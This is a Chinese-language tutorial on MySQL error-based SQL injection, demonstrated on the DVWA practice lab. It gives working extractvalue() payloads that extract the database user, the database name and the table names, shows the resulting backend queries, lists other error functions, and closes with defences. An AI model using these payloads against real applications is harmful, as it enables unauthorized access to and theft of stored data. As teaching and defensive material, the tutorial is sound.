SQL注入系列篇 | 报错注入
字数 1018 2025-08-11 00:55:07
MySQL报错注入技术详解
一、报错注入概念
报错注入是一种利用数据库执行SQL语句时的错误处理机制来获取敏感信息的攻击技术。其核心原理是:
- 数据库在执行SQL前会先进行语法检查,如果结构错误会直接返回结构性错误
- 通过构造特殊SQL语句,使其结构正确但执行时会触发错误
- 从数据库返回的错误信息中提取出我们想要的数据
关键点:
- 必须保证SQL结构正确,才能进入执行阶段
- 错误信息中会包含查询结果
- 适用于服务器未正确处理数据库错误的情况
二、报错注入流程示例
以DVWA靶机为例,演示完整报错注入流程:
1. 确定注入点类型
首先确认注入点为单引号字符型,且后台SQL查询返回2列数据。
2. 基础报错注入
构造输入:
1' and (extractvalue(1,concat(0x7e,(select user()),0x7e))) #
解释:
1':与后台SQL的单引号闭合extractvalue():触发错误的函数#:注释掉后续SQL
3. 获取数据库信息
修改payload获取不同信息:
获取当前用户:
1' and (extractvalue(1,concat(0x7e,(select user()),0x7e))) #
获取当前数据库名:
1' and (extractvalue(1,concat(0x7e,(select database()),0x7e))) #
获取所有表名:
1' and (extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = database()),0x7e))) #
三、extractvalue函数原理
extractvalue(xml_document, xpath_string)函数用于查询XML文档:
- 第一个参数:XML文档内容或路径
- 第二个参数:XPath格式的查询字符串
报错原理:
- 构造的第二个参数不满足XPath格式
- 数据库执行时会解析参数,将查询结果(如
select database())拼接到字符串中 - 最终形成的字符串(如
~dvwa~)不符合XPath语法 - 数据库报错时会显示这个非法字符串,从而泄露数据
四、后台SQL拼接原型
原始SQL:
SELECT first_name, last_name FROM users WHERE user_id = '$id'
拼接后的实际SQL:
获取用户:
SELECT first_name, last_name FROM users WHERE user_id = '1' and (extractvalue(1,concat(0x7e,(select user()),0x7e))) #';
获取数据库名:
SELECT first_name, last_name FROM users WHERE user_id = '1' and (extractvalue(1,concat(0x7e,(select database()),0x7e))) #';
获取表名:
SELECT first_name, last_name FROM users WHERE user_id = '1' and (extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = database()),0x7e))) #';
五、其他报错函数
除了extractvalue外,MySQL中还有其他可用于报错注入的函数:
- updatexml():与extractvalue类似,用于更新XML文档
- exp():利用数值溢出触发错误
- multipoint():空间数据函数,参数错误时泄露信息
六、防御措施
- 关闭错误回显,不向用户展示数据库错误信息
- 使用参数化查询或预处理语句
- 对用户输入进行严格过滤和转义
- 设置数据库用户最小权限
七、总结
报错注入是一种高效的信息获取技术,通过:
- 构造结构正确但执行会出错的SQL
- 利用数据库错误处理机制
- 从错误信息中提取敏感数据
掌握报错注入技术有助于更好地理解数据库安全机制,并采取有效措施防范此类攻击。